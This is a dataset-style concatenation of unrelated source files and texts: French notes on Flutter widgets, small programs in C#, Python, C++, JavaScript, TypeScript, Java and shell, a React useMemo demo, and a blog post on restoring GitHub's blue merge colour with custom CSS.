bibliothèque de rendu pour représenter la sémantique dans l'arbre sémantique. >SemanticsDebugger, une superposition permettant de visualiser l’arborescence de la sémantique. Peut être activé à l'aide de WidgetsApp. >showSemanticsDebugger ou MaterialApp.showSemanticsDebugger. #4 RichText >Le widget RichText affiche du texte qui utilise plusieurs styles différents. >Le texte à afficher est décrit à l'aide d'une arborescence d'objets TextSpan, >chacun ayant un style associé utilisé pour cette sous-arborescence. >Le texte peut se répartir sur plusieurs lignes ou être affiché sur la même ligne, >en fonction des contraintes de présentation. >Le texte affiché dans un widget RichText doit être explicitement stylé. >Lorsque vous choisissez le style à utiliser, envisagez d'utiliser DefaultTextStyle.of du BuildContext actuel pour fournir les valeurs par défaut. >Pensez à utiliser le widget Texte pour intégrer automatiquement le DefaultTextStyle. >Lorsque tout le texte utilise le même style, le constructeur par défaut est moins détaillé. >Le constructeur Text.rich vous permet de styliser plusieurs étendues avec le style de texte par défaut tout en autorisant les styles spécifiés par étendue. #5 ReaoderableListView >Liste dont les éléments peuvent être réorganisés de manière interactive par l'utilisateur en les faisant glisser. >Cette classe est appropriée pour les vues avec un petit nombre d'enfants car la construction de la liste nécessite un travail pour chaque >enfant susceptible de s'afficher dans la vue liste plutôt que uniquement les enfants réellement visibles. #6 Placeholder >Un widget qui dessine une boîte qui représente l'endroit où d'autres widgets seront un jour ajoutés. >Ce widget est utile pendant le développement pour indiquer que l'interface n'est pas encore complète. >Par défaut, l'espace réservé est dimensionné pour s'adapter à son conteneur. Si l'espace réservé se trouve dans un espace non limité, >il se dimensionnera lui-même en fonction des valeurs fallbackWidth et fallbackHeight données. #7 MediaQuery >Établit une sous-arborescence dans laquelle les requêtes de média résolvent les données données. >Établit une sous-arborescence dans laquelle les requêtes de média résolvent les données données. >Par exemple, pour connaître la taille du média actuel (la fenêtre contenant votre application, par exemple), >vous pouvez lire la propriété MediaQueryData.size à partir du MediaQueryData renvoyé par MediaQuery.of: MediaQuery.of (context) .size. >Si vous interrogez le média actuel à l'aide de MediaQuery.of, votre widget sera reconstruit automatiquement à chaque modification de >MediaQueryData (par exemple, si l'utilisateur fait pivoter son périphérique). >Si aucun MediaQuery n'est dans la portée, la méthode MediaQuery.of lève une exception, >sauf si l'argument null est défini sur true, auquel cas elle renvoie la valeur null. #8 LimitedBox >Une boîte qui limite sa taille uniquement lorsqu'elle n'est pas contrainte. >Si la largeur maximale de ce widget n'est pas contrainte, la largeur de son enfant est limitée à maxWidth. >De même, si la hauteur maximale de ce widget n'est pas contrainte, la hauteur de son enfant est limitée à maxHeight. >Cela a pour effet de donner à l'enfant une dimension naturelle dans des environnements sans limites. Par exemple, >en fournissant un maxHeight à un widget qui essaie normalement d'être aussi grand que possible, le widget se redimensionne >lui-même pour s'adapter à son parent, mais placé dans une liste verticale, il prendra la hauteur donnée. >Ceci est utile lors de la composition de widgets qui tentent normalement de correspondre à la taille de leurs parents, >de sorte qu'ils se comportent raisonnablement dans des listes (qui ne sont pas limitées). #9 IndexedStack >Une pile qui montre un seul enfant parmi une liste d’enfants. >L'enfant affiché est celui avec l'index donné. La pile est toujours aussi grosse que le plus grand des enfants. >Si la valeur est null, rien n'est affiché. #10 InheritedWiget >Classe de base pour les widgets qui propagent efficacement les informations dans l'arborescence. >Pour obtenir l'instance la plus proche d'un type particulier de widget hérité à partir d'un contexte de construction, >utilisez BuildContext.inheritFromWidgetOfExactType. >Les widgets hérités, lorsqu'ils sont référencés de cette manière, >vont entraîner la reconstruction du consommateur lorsque le widget hérité lui-même changera d'état. #11 draggable >Un widget qui peut être déplacé vers un DragTarget. >Lorsqu'un widget déplaçable reconnaît le début d'un geste de glisser, il affiche un widget de commentaire qui suit le doigt de l'utilisateur sur l'écran. >Si l'utilisateur lève le doigt alors qu'il se trouve au-dessus d'un DragTarget, cette cible se voit offrir la possibilité d'accepter les données transportées par l'objet déplaçable. >Sur les périphériques multitouch, plusieurs déplacements peuvent se produire simultanément, car il peut y avoir plusieurs pointeurs en contact avec le périphérique à la fois. >Pour limiter le nombre de déplacements simultanés, utilisez la propriété maxSimultaneousDrags. La valeur par défaut consiste à autoriser un nombre illimité de déplacements simultanés. >Ce widget affiche enfant lorsque zéro glissement est en cours. Si childWhenDragging est non-null, ce widget affiche à la place childWhenDragging lorsqu'un ou plusieurs déplacements sont en cours. >Sinon, ce widget affiche toujours enfant. #12 ConstrianeBox >Un widget qui impose des contraintes supplémentaires à son enfant. >Par exemple, si vous souhaitez que l'enfant ait une hauteur minimale de 50,0 pixels logiques, >vous pouvez utiliser const BoxConstraints (minHeight: 50.0) comme contrainte. #13 AspectRatio >Un widget qui tente de dimensionner l'enfant à un rapport d'aspect spécifique. >Le widget essaie d'abord la plus grande largeur autorisée par les contraintes de présentation. >La hauteur du widget est déterminée en appliquant le rapport de format donné à la largeur, exprimé >en tant que rapport largeur / hauteur. >Par exemple, un rapport hauteur / largeur 16: 9 aurait une valeur de 16,0 / 9,0. Si la largeur maximale est infinie, la largeur initiale est déterminée en appliquant le rapport de format à la hauteur maximale. >Considérons maintenant un deuxième exemple, cette fois-ci avec un rapport de format de 2,0 et des contraintes d’agencement nécessitant une largeur comprise entre 0,0 >et 100,0 et une hauteur comprise entre 0,0 et 100,0. Nous choisirons une largeur de 100,0 (la plus grande autorisée) et une hauteur de 50,0 (pour correspondre au rapport de format). >Dans cette même situation, si le format de l’image est égal à 0,5, nous sélectionnons également une largeur de 100,0 (le plus grand permis) et nous essayons d’utiliser une hauteur de 200,0. >Malheureusement, cela ne respecte pas les contraintes car l’enfant peut avoir une hauteur maximale de 100,0 pixels. Le widget prendra alors cette valeur et appliquera à nouveau le rapport de format pour obtenir une largeur de 50,0. >Cette largeur est autorisée par les contraintes et l'enfant reçoit une largeur de 50,0 et une hauteur de 100,0. Si la largeur n'était pas autorisée, le widget continuerait à parcourir les contraintes. >Si le widget ne trouve pas de taille réalisable après avoir consulté chaque contrainte, il sélectionnera finalement une taille pour l'enfant qui respecte les contraintes de présentation mais ne respecte pas les contraintes de rapport de format. #14 AnimatedPadding >Version animée de Padding qui transforme automatiquement l'indentation sur une durée donnée à chaque changement d'inset. #15 AnimatedPositioned >Version animée de Positionné qui transforme automatiquement la position de l'enfant sur une durée donnée à chaque changement de position. >Ce widget est un bon choix si la taille de l’enfant finit par changer à la suite de cette animation. Si la taille doit rester la même et que seule la position change au fil du temps, >envisagez plutôt SlideTransition. SlideTransition ne déclenche que de repeindre chaque image de l'animation, >alors que AnimatedPositioned déclenchera également un relayout. #16 AnimatedOpacity >Version animée de l'opacité qui fait automatiquement passer l'opacité de l'enfant sur une durée donnée, chaque fois que l'opacité donnée change. #17 AnimatedList Conteneur de défilement qui anime les éléments lorsqu'ils sont insérés ou supprimés. AnimatedListState de ce widget peut être utilisé pour insérer ou supprimer des éléments de manière dynamique. Pour faire référence à AnimatedListState, fournissez une clé GlobalKey ou utilisez la méthode static de à partir du rappel d'entrée d'un élément. #18 animatedIcon >il permet Affiche u >ne icône animée à une progression d'animation donnée. #19 Flexible >Un widget qui contrôle le comportement d'un enfant d'une ligne, d'une colonne ou d'un flex. >L’utilisation d’un widget Flexible donne à l’enfant d’une rangée, d’une colonne ou d’un Flex la possibilité de se développer >pour remplir l’espace disponible dans l’axe principal (par exemple, horizontalement pour une rangée ou verticalement pour une colonne), >mais contrairement à Expanded, Flexible ne fonctionne n'oblige pas l'enfant à remplir l'espace disponible. #20 AnimatedSwitcher >Un widget qui effectue par défaut une FadeTransition entre un nouveau widget et le widget précédemment défini sur le AnimatedSwitcher en tant qu'enfant. >S'ils sont permutés assez rapidement (c'est-à-dire avant la fin de la durée), plusieurs enfants précédents peuvent exister et effectuer la transition pendant >que le dernier en arrive à la transition. >Si le "nouveau" enfant est du même type et de la même clé que le "vieux" enfant, mais avec des paramètres différents, AnimatedSwitcher n'effectuera pas de transition entre eux car, >s'agissant du cadre, ils sont le même widget et le widget existant peut être mis à jour avec les nouveaux paramètres. Pour forcer la transition, définissez une clé sur chaque widget >enfant que vous souhaitez considérer comme unique (en règle générale, une valeur ValueKey sur les données du widget permettant de distinguer cet enfant des autres). #21 animatedContainer >AnimatedContainer s'animera automatiquement entre l'ancienne et la nouvelle valeur des propriétés lorsqu'elles changeront à l'aide de >la courbe et de la durée fournies. >Les propriétés qui sont nulles ne sont pas animées. Son enfant et ses descendants ne sont pas animés. >Cette classe est utile pour générer des transitions implicites simples entre différents paramètres vers Container avec son >AnimationController interne. #22 AbsorbPointer >propriété : (absorbing: bool,ignoringSemantics: bool, child,) >Considérons un carré rouge et bleu, les deux cliquables, où le carré bleu est plus petit et au-dessus du carré rouge: >Par défaut, sans IgnorePointer / AbsorbPointer, enregistrer en bleu un événement de clic sur bleu et rouge n'obtient rien. >Dans cette situation, insérer un carré bleu dans un AbsorbPointer signifie que lorsque vous appuyez sur la zone bleue, >ni le carré bleu ni le carré rouge n'obtiennent l'événement de clic. >Si nous utilisions plutôt un IgnorePointer, le carré rouge recevrait des événements de clic lors de l'enregistrement du carré bleu. #23 Wrap >proprété : >spacing: 8.0, (permet un espacement entre les anfant de manière vertical si l'alignement du Wrap est vertical) >runSpacing: 20.0,(permet un espacement entre les anfant de manière horizontal si l'alignement du Wrap est horizontal) >alignment: WrapAlignment.center,(permet d'ajuster les elements au centre ou place le premiere element aux cenntre) #24 Transform >c'est Un widget qui applique une transformation sur son enfant. #Transform.rotate(angle: 3.14/2,child: ...) >-angle permet de definir l'angle de rotation; >-child est son enfant et il prent un widget en parametre. #Transform.scale(scale:1, child: ...) >scale permet d'augmenter le volume de child selon la valeur definie; >-child est son enfant et il prent un widget en parametre. #Transform.translate(offset: Offset(0, 0),chlid: ...) >-offset permet de deplacer un child d'un point A à un point B; >-child est son enfant et il prent un widget en parametre. #Transform(transform: Matrix4.skew(0, 3),chlid: ...) >-transform permet de deformer un child; >-child est son enfant et il prent un widget en parametre. #25 Tooltip >Tooltip permet d'affiché Une infobulle avec un text a l'intérieur. >Les info-bulles fournissent des étiquettes de texte permettant d'expliquer la fonction d'un bouton ou d'une autre action de >l'interface utilisateur. >Enveloppez le bouton dans un widget Info-bulle pour afficher une étiquette lorsque vous appuyez longuement sur le widget >(ou lorsque l'utilisateur effectue une autre action appropriée). #Propriété : >tooltip: 'button reveil' (l'orsqu'il est placer à l'interieur d'un autre widget); >Tooltip(child , message , verticalOffset, height) >-child c'est l'objet à afficher, -message c'est le message contenue dans l'infobule, >-vertialOffset permet de definir un espacement entre l'infobule et l'object child >-height permet de donner une taille a l'objet child #26 Table >c'est Un widget qui place ses enfants dans un tablaux. >Table(border: TableBorder.all(),defaultColumnWidth: FractionColumnWidth(.25),defaultVerticalAlignment: TableCellVerticalAlignment.top, >columnWidths: {1: FractionColumnWidth(.2)},) >-border permet de donner une bordure achaque enfant; >- defaultColumnWidth definit le comportement des enfants du tableaux en fonction des column; >- defaultVerticalAlignment definit un alignement verticale. #27 StreamBuilder >Widget qui se construit à partir du dernier instantané d'interaction avec un flux. >La reconstruction du widget est planifiée par chaque interaction >28 SliverAppBar >c'est un widget qui permert de créer de bar flotantes, il s'utilise à l'interieur d'un CustomScrollView() >SliverAppBar(actions: <Widget>[Icon(...)], expandedHeight: 90.0, floating: bool,pinned: bool,snap: bool,) >- actions permet de placer des widgets à gauche de la barre. >- expandedHeight permet de donner une hauteur à la SliverAppBar. >-floating rend flottante la bar au-dessus de ListView, que vous pouvez faire défiler.L'attribut flottant prend une valeur booléenne. >Si la valeur est true, la barre d’application flotte dès que la liste est déroulée. >Si la valeur est False, la barre d’application n’apparaît que si le haut de la liste apparaît. >- pinned permet à l'AppBar d'être épinglé au début et ne laisse que le défilement se dérouler. >Si la valeur est false, le défilement aura lieu, mais la barre ne sera pas épinglé. >- snap est similaire à l'attribut Floating, sauf que si cet attribut est défini sur true, le contrôle AppBar s'affiche dans la vue au >lieu de défiler! >Un très petit changement peut fournir une meilleure animation sur l'application. >L'accrochage nécessite que l'attribut Floating soit défini uniquement pour que l'animation puisse être vue clairement. #29 SliverList et SliverGrid >SliverList permet de creer une list ou les widget son placer verticalement >SliverGrid permet de creer une list ou les widget son placer horitalement #30 SizeBox >Une boîte avec une taille spécifiée. >Si un enfant lui est attribué, ce widget oblige son enfant à avoir une largeur et / ou une hauteur spécifique >(en supposant que les valeurs sont autorisées par le parent de ce widget). Si la largeur ou la hauteur est nulle, >ce widget se dimensionnera pour correspondre à la taille de l'enfant dans cette dimension. >Si aucun enfant n’est donné, SizedBox essaiera de se redimensionner lui-même aussi près que possible de la hauteur et de la largeur >spécifiées, >en tenant compte des contraintes du parent. Si height ou width est nul ou non spécifié, il sera traité comme zéro. >SizeBox(width: ...,height: ...) >pour specifier une taile et une longueur on leur atribue une valeur sinon on utilise double.infinity pour prendre l'espace disponible #31 SafeArea >Un widget qui insère son enfant par un remplissage suffisant pour éviter les intrusions du système d'exploitation. >Par exemple, cela indentera suffisamment l'enfant pour éviter la barre d'état en haut de l'écran. #32 Positioned >Un widget qui permet de posionner ses enfants >Positioned(top:...,right:...,bottom:...,left:..., child) >-top deplace du haut vers le bas; >-bottom deplace du bas vers le haut; >-right deplace de la droite vers la gauche; >- left deplace de la gauche vers la doite #33 PageView >Une liste déroulante qui fonctionne page par page. >PageView(scrollDirection: Axis.vertical,children[]) >scrollDirection permet de definir la direction du defilement des page #34 Opacity >c'est un widget qui permet de diminué l'opacity de son enfant grâce a la propriété Opacity >Opacity(opacity: 0.50,child) #35 LayoutBuilder >Construit une arborescence de widgets pouvant dépendre de la taille du widget parent. >Ceci est utile lorsque le parent limite la taille de l'enfant et ne dépend pas de sa taille intrinsèque. >La taille finale du LayoutBuilder correspondra à la taille de son enfant.
C#
UTF-8
2,083
3.125
3
[]
no_license
using AoCLib; using _1._December; using System; using System.Linq; using System.Threading.Tasks; namespace _9._December { class December9Solver : ChallengeSolver { private int PreambleSize { get; set; } = 5; public override async Task Solve(string filename) { var input = (await InputHelper.ReadLongs(filename)).ToArray(); //Uuuuuggghh if(filename == "input.txt") { PreambleSize = 25; } var inputPointer = PreambleSize; var preamblePointer = 0; long? invalidNum = null; while(inputPointer < input.Length) { var prevNums = input.Skip(preamblePointer).Take(PreambleSize).OrderBy(x => x).ToList(); var numberSolver = new December1Solver(prevNums, input[inputPointer], 2); if(numberSolver.Solve() == null) { invalidNum = input[inputPointer]; Console.WriteLine($"Res1: {invalidNum}"); } preamblePointer++; inputPointer++; } var i = 0; var j = 1; var runningSum = input[i] + input[j]; while(i < input.Length) { if(runningSum < invalidNum && j < input.Length) { j++; runningSum += input[j]; continue; } else if(runningSum == invalidNum) { Console.WriteLine($"Found match from index {i} to index {j}."); var seq = input.Skip(i).Take(j - i + 1); var res = seq.Min() + seq.Max(); Console.WriteLine($"Res2: {res}"); break; } else { i++; j = i + 1; runningSum = input[i] + input[j]; } } } } }
Python
UTF-8
113
3.296875
3
[ "MIT" ]
permissive
def area(l, w): if (l <0 or w< 0): raise ValueError("Only positive integers, please") return l*w
Python
UTF-8
1,886
2.734375
3
[]
no_license
from seal_regression.fractions_utils import FracContext, FractionalEncoderUtils, FractionalDecryptorUtils from seal_regression.encarray import EncArray from seal_regression.linear_regression import SecureLinearRegression from sklearn.datasets import make_regression import numpy as np def generate_dataset(n_samples, n_features, noise, add_intercept=True): X, y = make_regression(n_samples=n_samples, n_features=n_features, noise=noise) X = (X - np.mean(X, axis=0)) / np.std(X, axis=0) if add_intercept: X = np.hstack((X, np.ones((X.shape[0], 1)))) y = (y - np.mean(y)) / np.std(y) y = y.reshape(-1, 1) return X, y def main(): context = FracContext(poly_modulus="1x^1024 + 1", coef_modulus_n_primes=20, plain_modulus=1 << 32) encode_utils = FractionalEncoderUtils(context) decode_utils = FractionalDecryptorUtils(context) X, y = generate_dataset(7, 1, 15) X_enc, y_enc = EncArray(X.tolist(), enc_utils=encode_utils), EncArray(y.tolist(), enc_utils=encode_utils) print(f'X shape: {X.shape}, y shape: {y.shape}') print(f'=========== Simple unencrypted LR ===========') model = SecureLinearRegression() model.fit_unencrypted(X, y, n_iter=25, verbose=True) print(f'Estimated parameters: {model.weigths}') print(f'================= Secure LR ==================') n_runs = 5 init_weights = None for run in range(n_runs): print(f'RUN {run+1}/{n_runs}: ') model.fit(X_enc, y_enc, decode_utils, init_weights, n_iter=7, verbose=True) weights = model.weigths.decrypt_array(decode_utils) print(f'Estimated parameters: {weights}') print(f'Prediction: {model.predict(X_enc).decrypt_array(decode_utils)}. Real values: {y.T}') # Reencprypting weights init_weights = EncArray(weights, enc_utils=encode_utils) if __name__ == '__main__': main()
Shell
UTF-8
760
2.65625
3
[]
no_license
#!/bin/sh strace -r -c -o searchtrace.txt ./search /etc > /dev/null strace -r -c -o findtrace.txt find /etc > /dev/null strace -r -c -o searchtrace1.txt ./search /etc -exec echo \{\} \; > /dev/null strace -r -c -o findtrace1.txt find /etc -exec echo \{\} \; > /dev/null # get numbers printf "# search /etc\n" cat searchtrace.txt | grep [0-9] | cut -c37- | cut --complement -c5-14 | head -n -1 printf "\n# find /etc\n" cat findtrace.txt | grep [0-9] | cut -c37- | cut --complement -c5-14 | head -n -1 printf "\n# search /etc -exec echo \{\} \;\n" cat searchtrace1.txt | grep [0-9] | cut -c37- | cut --complement -c5-14 | head -n -1 printf "\n# find /etc -exec echo \{\} \;\n" cat findtrace1.txt | grep [0-9] | cut -c37- | cut --complement -c5-14 | head -n -1
JavaScript
UTF-8
370
3.21875
3
[]
no_license
function makeCards(){ var cardValues = [1, 2, 3, 4, 5, 6, 7, 'j', 'q' ]; var suits = ['kle', 'doe', 'mit']; var cards = []; var v; var s; for (s in suits) { for (v in cardValues) { var card = { value: cardValues[v], suit: suits[s] }; cards.push(card); } } return cards; } var deck = makeCards(); console.log(deck);
C++
UTF-8
1,105
3.609375
4
[]
no_license
#include <vector> #include <iostream> #include <algorithm> int binSearch(const std::vector<int>& v){ /** * Return by how many places a vector sorted in ascending * order was shifted, e.g. the index of the pivot in the vector. */ int left = 0; int right = v.size() - 1; int middle = (right - left) / 2; while (v[middle] < v[middle+1]){ if (v[middle] > v[right]){ left = middle; }else if (v[middle] < v[right]){ right = middle; } middle = left + (right - left) / 2; } return middle; } template <typename T> std::ostream& operator<<(std::ostream& os, std::vector<T> const& v){ for (auto const& element : v) { os << element << " "; } return os; } int main(){ std::vector<int> v{9, 13, 16, 18, 19, 23, 28, 31, 37, 42, 1, 3, 4, 5, 7, 8}; int rotation = binSearch(v) + 1; std::cout << v << std::endl; std::cout << "Vector was rotated by " << rotation << "." << std::endl; std::rotate(v.begin(), v.begin()+rotation, v.end()); std::cout << v << std::endl; }
C++
UTF-8
5,352
3.34375
3
[ "MIT" ]
permissive
#include<bits/stdc++.h> using namespace std; class listp{ int n,top; int arr[1000007]; public: listp(){ n=0; top=-1; } listp(int p){ n=p; top=-1; } void printall(){ if(isEmpty()){ cout<<"List is empty! Can't print!"; return; } else{ for(int i=0;i<size();i++) cout<<arr[i]<<" "; } } void print_from_index(int index){ if(isEmpty()){ cout<<"List is empty! Can't print!"; return; } else if(index>size()){ cout<<"Index Out Of Bound"; return; } else{ for(int i=index;i<size();i++) cout<<arr[i]<<" "; } } int size(){ return top+1; } void insert_at_position(int key,int pos){ if(isFull()){ cout<<"List is full! Can't insert!"; return; } else if(pos>=n || pos>(size()-1)){ cout<<"Index Out Of Bound"; return; } else if(top>=pos){ for(int i=top;i>=pos;i--) arr[i+1]=arr[i]; top++; arr[pos]=key; } } int search_array(int key){ if(isEmpty()){ cout<<"List is empty! Can't Search!"; return -1; } else{ for(int i=0;i<size();i++){ if(key==arr[i]) return i; } return -1; } } void deletion_at_position(int index){ if(isEmpty()){ cout<<"List is empty! Can't delete!"; return; } else if(index>size()-1){ cout<<"Index Out Of Bound"; return; } else if(top>index){ for(int i=index;i<top;i++) arr[i]=arr[i+1]; top--; } } void deletion_at_end(){ if(isEmpty()){ cout<<"List is empty! Can't delete!"; return; } else { top--; } } void insert_at_end(int key){ if(isFull()) cout<<"List is full! Can't insert!"; else { top++; arr[top]=key; } } bool isEmpty(){ if(top==-1) return true; else return false; } bool isFull(){ if(top==n-1) return true; else return false; } }; int main(){ int choice; int n; cin>>n; listp l1(n); do{ cout<<"1. Search in List"<<endl; cout<<"2. Size of List"<<endl; cout<<"3. print all elements"<<endl; cout<<"4. print from position"<<endl; cout<<"5. Delete at position of List"<<endl; cout<<"6. Delete from end of List"<<endl; cout<<"7. Insert at position of List"<<endl; cout<<"8. Insert at end of List"<<endl; cout<<"9. Check whether List is Full"<<endl; cout<<"10. Check whether List is Empty"<<endl; cout<<"0. Exit"<<endl; cout<<"Enter your choice: !!"<<endl; cin>>choice; switch(choice){ case 1: { int key; cin>>key; int index=l1.search_array(key); if(index==-1) cout<<"Not Found!"<<endl; else cout<<"Found at index : "<<index<<endl; break; } case 2: { cout<<l1.size(); break; } case 3: { l1.printall(); break; } case 4: { int index; cin>>index; l1.print_from_index(index); break; } case 5: { int index; cin>>index; l1.deletion_at_position(index); break; } case 6: { l1.deletion_at_end(); break; } case 7: { int index,key; cin>>index>>key; l1.insert_at_position(key,index); break; } case 8: { int key; cin>>key; l1.insert_at_end(key); break; } case 9: { bool p=l1.isFull(); string s= p==true?"true":"false"; cout<<s<<endl; break; } case 10: { bool p=l1.isEmpty(); string s= p==true?"true":"false"; cout<<s<<endl; break; } case 0: exit(1); break; default: { cout<<"wrong option choosed! try again"<<endl; } } }while(choice!=0); }
Python
UTF-8
1,177
2.734375
3
[]
no_license
import cv2 import numpy as np import base64 def grayscale(img): """Convert image to grayscale""" return cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) def canny(img, low_threshold, high_threshold): """Apply Canny edge detection""" return cv2.Canny(img, low_threshold, high_threshold) def gaussian_blur(img, kernel_size): """Apply Gaussian Noise kernel""" return cv2.GaussianBlur(img, (kernel_size, kernel_size), 0) def birdview_transform(img): """Apply birdview transform""" IMAGE_H = 160 IMAGE_W = 320 src = np.float32([[0, IMAGE_H], [320, IMAGE_H], [ 0, IMAGE_H//3], [IMAGE_W, IMAGE_H//3]]) dst = np.float32([[90, IMAGE_H], [230, IMAGE_H], [-10, 0], [IMAGE_W+10, 0]]) M = cv2.getPerspectiveTransform(src, dst) # The transformation matrix warped_img = cv2.warpPerspective( img, M, (IMAGE_W, IMAGE_H)) # Image warping return warped_img def image_to_jpeg_base64(image): """Convert image to Jpeg base64""" frame = cv2.imencode('.jpg', image)[1].tobytes() frame = base64.b64encode(frame).decode('utf-8') return "data:image/jpeg;base64,{}".format(frame)
C#
UTF-8
2,118
2.578125
3
[]
no_license
using System.Collections.Generic; using System.ComponentModel; using TestTypeApp.Client; namespace TestTypeApp { class ModelMaterial : IBaseModel<CMaterial> { MaterialRef.MaterialServiceClient service; BindingList<CMaterial> materials; List<CMaterial> toSave; List<int> toDelete; TestTypeApp.Client.Converter<MaterialRef.material, CMaterial> converter; public ModelMaterial(MaterialRef.MaterialServiceClient service) { this.service = service; materials = new BindingList<CMaterial>(); toSave = new List<CMaterial>(); toDelete = new List<int>(); converter = new TestTypeApp.Client.Converter<MaterialRef.material, CMaterial>(); materials.ListChanged += MaterialsListChanged; } private void MaterialsListChanged(object sender, ListChangedEventArgs e) { if (e.ListChangedType == ListChangedType.ItemChanged | e.ListChangedType == ListChangedType.ItemAdded) { toSave.Add(materials[e.NewIndex]); } if (e.ListChangedType == ListChangedType.ItemDeleted) { toDelete.Add(materials[e.OldIndex].Id); } } public void Reload() { materials.ListChanged -= MaterialsListChanged; toDelete.Clear(); toSave.Clear(); materials.Clear(); converter.toClientType(this.service.readAll()) .ForEach(n => materials.Add(n)); materials.ListChanged += MaterialsListChanged; } public void Save() { service.save(new TestTypeApp.Client.Converter<MaterialRef.material, CMaterial>().toDto(toSave)); toDelete.ForEach(n => service.delete(n)); Reload(); } public BindingList<CMaterial> ItemList { get { return materials; } set { materials = value; } } } }
JavaScript
UTF-8
1,463
3.125
3
[]
no_license
import React, { useState, useMemo } from 'react'; import Header from '../../components/partials/Header'; import SectionExer from '../../components/partials/SectionExer'; function sum(a, b) { const future = Date.now() + 2000 while(Date.now() < future) {} return a + b } const UseMemo = props => { const [n1, setN1] = useState(0); const [n2, setN2] = useState(0); const [n3, setN3] = useState(0); // Usando o useMemo. const result = useMemo(_ => sum(n1, n2), [n1, n2]) /* Solução sem usar o useMemo. const [result, setResult] = useState(0); useEffect(_ => { setResult(sum(n1, n2)) }, [n1 ,n2])*/ return ( <div> <Header title='Hook UseMemo' subTitle='Retorna um valor memorizado!' /> <SectionExer className='center' title='Exercise - #01'> <div className="center"> <span className="display">{result}</span> <input type="number" className="input" onChange={e => setN1(parseInt(e.target.value))}/> <input type="number" className="input" onChange={e => setN2(parseInt(e.target.value))}/> <input type="number" className="input" onChange={e => setN3(parseInt(e.target.value))}/> </div> </SectionExer> </div> ) } export default UseMemo;
Java
UTF-8
1,377
2.015625
2
[ "MIT" ]
permissive
package com.adrenalinici.adrenaline.common.view; import com.adrenalinici.adrenaline.common.model.*; import com.adrenalinici.adrenaline.common.model.event.ModelEvent; import com.adrenalinici.adrenaline.common.util.Observer; import java.util.List; import java.util.Map; import java.util.Set; public interface GameView extends Observer<ModelEvent> { void showAvailableActions(List<Action> actions); void showAvailableMovements(List<Position> positions); void showAvailableEnemyMovements(List<Position> positions); void showNextTurn(PlayerColor player); void showReloadableGuns(Set<String> guns); void showAvailablePowerUpCardsForRespawn(PlayerColor player, List<PowerUpCard> powerUpCards); void showAvailableAlternativeEffectsGun(Effect firstEffect, Effect secondEffect); void showChoosePlayerToHit(List<PlayerColor> players); void showAvailableExtraEffects(Effect firstExtraEffect, Effect secondExtraEffect); void showAvailableGuns(Set<String> guns); void showAvailableGunsToPickup(Set<String> guns); void showAvailableTagbackGrenade(PlayerColor player, List<PowerUpCard> powerUpCards); void showAvailableRooms(Set<CellColor> rooms); void showAvailableCellsToHit(Set<Position> cells); void showRanking(List<Map.Entry<PlayerColor, Integer>> ranking); void showScopePlayers(List<PlayerColor> players, List<PowerUpCard> scopes); }
TypeScript
UTF-8
948
3.515625
4
[]
no_license
// enum TaskState { // Create = 100, // Active, // Inactive, // Proccess, // Finish // } // // interface TaskInterface { // id: number; // name: string; // // state?:TaskState // state?: TaskState; // } // // // class TaskService { // tasks: TaskInterface[]; // // constructor(tasks: TaskInterface[]) { // this.tasks = tasks; // } // // getItems() { // return this.tasks; // } // } // // let task1: TaskInterface = {id: 1, name: "Coding"}; // let task2: TaskInterface = {id: 2, name: "Study ES6"}; // let tasks: TaskInterface[] = [ // task1, // task2, // // {id:3,name:"kiss my girl",state:TaskState} // {id: 3, name: "kiss my girl", state: TaskState.Finish} // ]; // // let tasks : TaskInterface[] = [ // // {id: 1,name:"Coding"}, // // {id: 2,name:"Study ES6"} // // ]; // let taskServiceeObj = new TaskService(tasks); // console.log(taskServiceeObj.getItems());
Markdown
UTF-8
4,247
2.578125
3
[]
no_license
Title: Bringing "Blue Merges" Back to GitHub Date: 2014-02-15 23:57:12 Category: Blog Tags: programming, github Slug: 2014/02/15/bringing-blue-merges-back-to-github Author: Erik Johnson Summary: I <3 GitHub. I spend a lot of time there, as evidenced by my current 226-day activity streak. A few weeks ago, while I was in Utah for [SaltConf](http://saltconf.com), GitHub rolled out a significant redesign... <div style='float: right; margin-left: 5px; margin-bottom: 5px;' markdown='1'> <img src='/images/github_streak_226.png' alt='226-day activity streak' title='226-day activity streak' style='width: 400px; height: 276px;' /> </div> I <3 GitHub. I spend a lot of time there, as evidenced by my current 226-day activity streak. A few weeks ago, while I was in Utah for [SaltConf](http://saltconf.com), GitHub rolled out a [significant redesign](https://github.com/blog/1767-redesigned-conversations). The new conversation views are great, and the ability to tag pull requests is also a fantastic touch. But one change that didn't sit well with me is the fact that the color for merged pull requests was changed to an ugly dark purple. I gave the change a couple weeks to see if I'd grow accustomed to it. I did not. So, I set out to see what I could do about it. Luckily, there is a Firefox extension called [Stylish](https://addons.mozilla.org/en-US/firefox/addon/stylish/), which is designed for the purpose of inserting custom CSS into webpages. But first, I needed to figure out the CSS elements which needed to be overridden. I did this using [Firebug](https://addons.mozilla.org/en-US/firefox/addon/firebug/?src=search). When enabled, if you click a design element, it is highlighted and its CSS configuration is displayed on the far right pane of the Firebug area. I scrolled until I found an element with a **background** parameter. Hovering your mouse over a hex color code in Firebug will display the corresponding color. Below, you can see that ugly purple: <br><br> <div style='text-align: center' markdown='1'> ![Firebug CSS Inspector](/images/github_firebug.png 'Firebug CSS Inspector') </div> <br><br> Clicking on the CSS filename (shown in dark blue) above that block of CSS takes you to the left-side pane of Firebug and switches to the CSS tab, displaying a nicely-formatted representation of the selected block of CSS code which can be copied and pasted. From here, it was a simple matter of finding each of these on both of the pages that display that purple color (my profile page, as well as a page with a merged pull request), and copying them to a text file for safe-keeping. Once I had found them all, I created the following simple [Stylish](https://addons.mozilla.org/en-US/firefox/addon/stylish/) theme: <br><br> :::css @namespace url(http://www.w3.org/1999/xhtml); @-moz-document regexp("https:\/\/(?:www\.)?github\.com\/.*") { .simple-conversation-list > li .state-merged { background: none repeat scroll 0 0 #7AADDE; } .overall-summary .graphs .mini-bar-graph a.merged-pulls { background: none repeat scroll 0 0 #7AADDE; } ul.summary-stats li .octicon-git-pull-request { color: #7AADDE; } .branch-action-state-merged .branch-action-icon { background-color: #7AADDE; } .new-discussion-timeline .discussion-event-status-merged .discussion-item-icon { background-color: #7AADDE; padding-left: 2px; } .gh-header-status.merged { background-color: #7AADDE; } } <br><br> The [@-moz-document](https://developer.mozilla.org/en-US/docs/Web/CSS/@document) rule at the top restricts this rule to GitHub only, using a regular expression. For the replacement color, I chose [#7AADDE](http://www.color-hex.com/color/7aadde), which was the closest I could find to a match for the old blue color, according to my memory. The 